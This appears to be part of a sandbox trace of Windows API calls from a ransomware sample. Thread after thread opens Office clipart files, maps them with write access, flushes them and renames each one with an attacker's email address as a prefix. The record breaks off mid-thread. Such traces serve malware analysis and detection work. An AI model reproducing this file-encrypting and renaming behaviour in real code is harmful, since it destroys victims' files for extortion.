	[0106.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.jpg", dwFileAttributes=0x80) returned 1
	[0106.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1060
	[0106.071] GetFileSizeEx (in: hFile=0x1060, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11170) returned 1
	[0106.071] CreateFileMappingA (hFile=0x1060, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ba3, lpName=0x0) returned 0x1064
	[0106.071] MapViewOfFile (hFileMappingObject=0x1064, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.074] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.074] CloseHandle (hObject=0x1064) returned 1
	[0106.074] GetCurrentThreadId () returned 0x1e10
	[0106.074] FlushFileBuffers (hFile=0x1060) returned 1
	[0106.076] CloseHandle (hObject=0x1060) returned 1
	[0106.076] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03379I.jpg") returned 97
	[0106.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03379I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03379i.jpg")) returned 1
	[0106.077] free (_Block=0x51f80b0) 
	[0106.077] RtlExitUserThread (Status=0x0) 

Thread:
	id = 874
	os_tid = 0x1e14

	[0106.079] _alloca_probe () returned 0x40328a
	[0106.080] GetCurrentThreadId () returned 0x1e14
	[0106.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.jpg", dwFileAttributes=0x80) returned 1
	[0106.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1064
	[0106.081] GetFileSizeEx (in: hFile=0x1064, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12831) returned 1
	[0106.081] CreateFileMappingA (hFile=0x1064, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x322d, lpName=0x0) returned 0x1068
	[0106.081] MapViewOfFile (hFileMappingObject=0x1068, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.084] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.085] CloseHandle (hObject=0x1068) returned 1
	[0106.085] GetCurrentThreadId () returned 0x1e14
	[0106.085] FlushFileBuffers (hFile=0x1064) returned 1
	[0106.095] CloseHandle (hObject=0x1064) returned 1
	[0106.095] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03380I.jpg") returned 97
	[0106.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03380I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03380i.jpg")) returned 1
	[0106.096] free (_Block=0x51f0070) 
	[0106.096] RtlExitUserThread (Status=0x0) 

Thread:
	id = 875
	os_tid = 0x1e18

	[0106.087] _alloca_probe () returned 0x40328a
	[0106.087] GetCurrentThreadId () returned 0x1e18
	[0106.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.jpg", dwFileAttributes=0x80) returned 1
	[0106.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x106c
	[0106.088] GetFileSizeEx (in: hFile=0x106c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=48558) returned 1
	[0106.088] CreateFileMappingA (hFile=0x106c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbdbb, lpName=0x0) returned 0x1070
	[0106.088] MapViewOfFile (hFileMappingObject=0x1070, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.100] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.100] CloseHandle (hObject=0x1070) returned 1
	[0106.100] GetCurrentThreadId () returned 0x1e18
	[0106.100] FlushFileBuffers (hFile=0x106c) returned 1
	[0106.103] CloseHandle (hObject=0x106c) returned 1
	[0106.103] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03425I.jpg") returned 97
	[0106.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH03425I.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph03425i.jpg")) returned 1
	[0106.104] free (_Block=0x51f90b8) 
	[0106.104] RtlExitUserThread (Status=0x0) 

Thread:
	id = 876
	os_tid = 0x1e1c

	[0106.111] _alloca_probe () returned 0x40328a
	[0106.111] GetCurrentThreadId () returned 0x1e1c
	[0106.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.gif", dwFileAttributes=0x80) returned 1
	[0106.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1070
	[0106.112] GetFileSizeEx (in: hFile=0x1070, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=740) returned 1
	[0106.113] CreateFileMappingA (hFile=0x1070, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e7, lpName=0x0) returned 0x1064
	[0106.113] MapViewOfFile (hFileMappingObject=0x1064, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.116] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.116] CloseHandle (hObject=0x1064) returned 1
	[0106.116] GetCurrentThreadId () returned 0x1e1c
	[0106.116] FlushFileBuffers (hFile=0x1070) returned 1
	[0106.118] CloseHandle (hObject=0x1070) returned 1
	[0106.118] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01219_.gif") returned 97
	[0106.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01219_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01219_.gif")) returned 1
	[0106.119] free (_Block=0x51f3088) 
	[0106.119] RtlExitUserThread (Status=0x0) 

Thread:
	id = 877
	os_tid = 0x1e20

	[0106.120] _alloca_probe () returned 0x40328a
	[0106.121] GetCurrentThreadId () returned 0x1e20
	[0106.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.gif", dwFileAttributes=0x80) returned 1
	[0106.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1064
	[0106.122] GetFileSizeEx (in: hFile=0x1064, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=363) returned 1
	[0106.122] CreateFileMappingA (hFile=0x1064, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x175, lpName=0x0) returned 0x1074
	[0106.122] MapViewOfFile (hFileMappingObject=0x1074, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.122] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.122] CloseHandle (hObject=0x1074) returned 1
	[0106.122] GetCurrentThreadId () returned 0x1e20
	[0106.122] FlushFileBuffers (hFile=0x1064) returned 1
	[0106.124] CloseHandle (hObject=0x1064) returned 1
	[0106.124] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01237_.gif") returned 97
	[0106.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01237_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01237_.gif")) returned 1
	[0106.125] free (_Block=0x51f0070) 
	[0106.125] RtlExitUserThread (Status=0x0) 

Thread:
	id = 878
	os_tid = 0x1e24

	[0106.127] _alloca_probe () returned 0x40328a
	[0106.127] GetCurrentThreadId () returned 0x1e24
	[0106.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.gif", dwFileAttributes=0x80) returned 1
	[0106.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1074
	[0106.128] GetFileSizeEx (in: hFile=0x1074, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=359) returned 1
	[0106.128] CreateFileMappingA (hFile=0x1074, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d, lpName=0x0) returned 0x1078
	[0106.128] MapViewOfFile (hFileMappingObject=0x1078, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.128] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.129] CloseHandle (hObject=0x1078) returned 1
	[0106.129] GetCurrentThreadId () returned 0x1e24
	[0106.129] FlushFileBuffers (hFile=0x1074) returned 1
	[0106.130] CloseHandle (hObject=0x1074) returned 1
	[0106.131] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01238_.gif") returned 97
	[0106.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01238_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01238_.gif")) returned 1
	[0106.131] free (_Block=0x51f60a0) 
	[0106.131] RtlExitUserThread (Status=0x0) 

Thread:
	id = 879
	os_tid = 0x1e28

	[0106.133] _alloca_probe () returned 0x40328a
	[0106.134] GetCurrentThreadId () returned 0x1e28
	[0106.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.gif", dwFileAttributes=0x80) returned 1
	[0106.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1078
	[0106.135] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=410) returned 1
	[0106.135] CreateFileMappingA (hFile=0x1078, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a3, lpName=0x0) returned 0x107c
	[0106.135] MapViewOfFile (hFileMappingObject=0x107c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.135] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.135] CloseHandle (hObject=0x107c) returned 1
	[0106.135] GetCurrentThreadId () returned 0x1e28
	[0106.135] FlushFileBuffers (hFile=0x1078) returned 1
	[0106.396] CloseHandle (hObject=0x1078) returned 1
	[0106.396] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01239_.gif") returned 97
	[0106.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01239_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01239_.gif")) returned 1
	[0106.397] free (_Block=0x51f0070) 
	[0106.397] RtlExitUserThread (Status=0x0) 

Thread:
	id = 880
	os_tid = 0x1e2c

	[0106.138] _alloca_probe () returned 0x40328a
	[0106.138] GetCurrentThreadId () returned 0x1e2c
	[0106.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.gif", dwFileAttributes=0x80) returned 1
	[0106.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1080
	[0106.139] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=333) returned 1
	[0106.139] CreateFileMappingA (hFile=0x1080, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x159, lpName=0x0) returned 0x1084
	[0106.139] MapViewOfFile (hFileMappingObject=0x1084, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.140] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.140] CloseHandle (hObject=0x1084) returned 1
	[0106.140] GetCurrentThreadId () returned 0x1e2c
	[0106.140] FlushFileBuffers (hFile=0x1080) returned 1
	[0106.142] CloseHandle (hObject=0x1080) returned 1
	[0106.142] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01240_.gif") returned 97
	[0106.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01240_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01240_.gif")) returned 1
	[0106.143] free (_Block=0x51f90b8) 
	[0106.143] RtlExitUserThread (Status=0x0) 

Thread:
	id = 881
	os_tid = 0x1e30

	[0106.144] _alloca_probe () returned 0x40328a
	[0106.145] GetCurrentThreadId () returned 0x1e30
	[0106.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.gif", dwFileAttributes=0x80) returned 1
	[0106.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1084
	[0106.146] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=386) returned 1
	[0106.146] CreateFileMappingA (hFile=0x1084, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x183, lpName=0x0) returned 0x1088
	[0106.146] MapViewOfFile (hFileMappingObject=0x1088, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.146] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.146] CloseHandle (hObject=0x1088) returned 1
	[0106.146] GetCurrentThreadId () returned 0x1e30
	[0106.146] FlushFileBuffers (hFile=0x1084) returned 1
	[0106.160] CloseHandle (hObject=0x1084) returned 1
	[0106.161] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01241_.gif") returned 97
	[0106.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01241_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01241_.gif")) returned 1
	[0106.161] free (_Block=0x51f5098) 
	[0106.161] RtlExitUserThread (Status=0x0) 

Thread:
	id = 882
	os_tid = 0x1e34

	[0106.163] _alloca_probe () returned 0x40328a
	[0106.164] GetCurrentThreadId () returned 0x1e34
	[0106.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.gif", dwFileAttributes=0x80) returned 1
	[0106.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1088
	[0106.165] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=344) returned 1
	[0106.165] CreateFileMappingA (hFile=0x1088, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f, lpName=0x0) returned 0x108c
	[0106.165] MapViewOfFile (hFileMappingObject=0x108c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.165] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.165] CloseHandle (hObject=0x108c) returned 1
	[0106.165] GetCurrentThreadId () returned 0x1e34
	[0106.165] FlushFileBuffers (hFile=0x1088) returned 1
	[0106.167] CloseHandle (hObject=0x1088) returned 1
	[0106.167] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01242_.gif") returned 97
	[0106.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01242_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01242_.gif")) returned 1
	[0106.168] free (_Block=0x51f3088) 
	[0106.168] RtlExitUserThread (Status=0x0) 

Thread:
	id = 883
	os_tid = 0x1e38

	[0106.170] _alloca_probe () returned 0x40328a
	[0106.170] GetCurrentThreadId () returned 0x1e38
	[0106.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.gif", dwFileAttributes=0x80) returned 1
	[0106.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108c
	[0106.171] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=431) returned 1
	[0106.171] CreateFileMappingA (hFile=0x108c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bd, lpName=0x0) returned 0x1090
	[0106.171] MapViewOfFile (hFileMappingObject=0x1090, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.171] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.171] CloseHandle (hObject=0x1090) returned 1
	[0106.171] GetCurrentThreadId () returned 0x1e38
	[0106.171] FlushFileBuffers (hFile=0x108c) returned 1
	[0106.173] CloseHandle (hObject=0x108c) returned 1
	[0106.174] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01243_.gif") returned 97
	[0106.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01243_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01243_.gif")) returned 1
	[0106.175] free (_Block=0x51f80b0) 
	[0106.175] RtlExitUserThread (Status=0x0) 

Thread:
	id = 884
	os_tid = 0x1e40

	[0106.177] _alloca_probe () returned 0x40328a
	[0106.178] GetCurrentThreadId () returned 0x1e40
	[0106.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.gif", dwFileAttributes=0x80) returned 1
	[0106.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1090
	[0106.178] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=467) returned 1
	[0106.178] CreateFileMappingA (hFile=0x1090, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d5, lpName=0x0) returned 0x1094
	[0106.178] MapViewOfFile (hFileMappingObject=0x1094, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.179] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.179] CloseHandle (hObject=0x1094) returned 1
	[0106.179] GetCurrentThreadId () returned 0x1e40
	[0106.179] FlushFileBuffers (hFile=0x1090) returned 1
	[0106.181] CloseHandle (hObject=0x1090) returned 1
	[0106.182] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01244_.gif") returned 97
	[0106.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01244_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01244_.gif")) returned 1
	[0106.183] free (_Block=0x51f5098) 
	[0106.183] RtlExitUserThread (Status=0x0) 

Thread:
	id = 885
	os_tid = 0x1e44

	[0106.184] _alloca_probe () returned 0x40328a
	[0106.185] GetCurrentThreadId () returned 0x1e44
	[0106.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.gif", dwFileAttributes=0x80) returned 1
	[0106.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1094
	[0106.186] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=341) returned 1
	[0106.186] CreateFileMappingA (hFile=0x1094, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x159, lpName=0x0) returned 0x1098
